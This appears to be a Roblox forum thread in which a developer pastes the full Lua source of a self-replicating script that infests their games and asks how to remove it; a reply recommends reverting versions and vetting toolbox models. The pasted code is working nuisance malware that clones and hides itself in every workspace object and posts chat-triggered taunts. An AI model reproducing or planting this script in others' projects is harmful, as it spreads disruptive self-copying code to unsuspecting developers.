I have an infection that if its in pause mode and I delete it, hundreds more generate but when I go Test>Start There is 4JAMDUDE4 and Player in Terrain, Player and benjonas2 in Camera and player and MightyCHILI in Baseplate, so 2 in each and when I delete them those same 2 re appear and they each have a script called [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]] in them and this is it. Can someone please help me delete these? It does it to all my games and every account I use even in a game with no models or bricks at all.
names={"benjonas2", "michael1784", "mightyCHILI", "4JAMDUDE4"} local NameCheck = false script.Parent.Name = names[math.random(1, #names)] script.Name = [[ProperGråmmerNeededInPhilosiphalLocations;insertNoobHere]] local c = script.Parent:Clone() function addEvent(ch) wait(math.random()) NameCheck = false for ss = 1, #names do if ch:IsA("RotateP") or ch:findFirstChild(names[ss]) ~= nil then NameCheck = true end end if NameCheck == false then local cloak = c:Clone() cloak.Name = "" cloak:GetChildren()[1].Name = "" cloak.Parent = ch cloak.Name = names[math.random(1, 5)] end end workspace.ChildAdded:connect(addEvent) game.Players.PlayerAdded:connect(function(pl) pl.Chatted:connect(function(m) if m:sub(1, 5) == "/sc t" then local m = Instance.new("Message") m.Parent = workspace m.Text = "THEY CALL ME CRAZY" wait(1) m.Text = "Get some" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "GOTTA GOTTA BE CRAZY" wait(1) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "lOoOoOoOp" wait(0.25) m.Text = "LoOoOoOoP" wait(0.25) m.Text = "GOTTA GET A LIFE (YOU)" wait(3) m:remove() end if m:sub(1, 5) == "HAAXX" then local m = Instance.new("Message") m.Parent = workspace m.Text = "HAAXX" wait(3) m:remove() end end) end) while true do local s = workspace:GetChildren() for i = 1, #s do NameCheck = false for ss = 1, #names do if s[i]:IsA("RotateP") or s[i]:findFirstChild(names[ss]) ~= nil then NameCheck = true end end if NameCheck == false then local cloak = c:Clone() cloak.Name = "" cloak:GetChildren()[1].Name = "" cloak.Parent = s[i] end wait(0.1) end wait(1) end
Have you tried to restore your game to an earlier version? If you have not you could restore it in Studio Mode. Otherwise you may have to comb threw the entire children of your workspace. Be sure to check every block and every script. This is usually caused by using Models from the tool box. I would recommend searching the entire contents of the models before you place them or even test to see it they work. I also open a new Studio Place to test or check the models before I place them into my active game im working on.